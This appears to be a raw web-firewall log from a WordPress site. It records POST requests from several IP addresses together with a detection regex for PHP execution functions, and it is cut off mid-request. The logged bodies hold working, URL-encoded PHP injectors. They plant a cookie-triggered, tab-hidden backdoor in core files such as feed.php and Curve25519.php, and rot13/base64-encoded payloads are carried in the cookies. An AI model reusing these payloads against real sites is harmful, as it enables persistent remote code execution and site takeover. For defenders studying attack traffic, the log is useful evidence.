3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqKHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nuu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:12","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4286\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:47:14","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:4263\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn0fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nkK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B82-82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B10-9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-45%252B48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30-26%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524hld%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524data%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25274781f944%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524data%2529%2529%2520%257B%2520%2524data%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522sync_manager%2522%253B%2520%257D%2520%2524marker%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524data%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524data%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524marker%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524data%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524data%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524mrk%2520%253D%2520%2522968480d6a186c5e47d79f957fd5d221d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524mrk%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:17","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:3270\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGSHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nLU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B20%255D%2528%2529.%2524p%255B28%255D%253Bif%2528%2521%2524p%255B22%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B2%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B24%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%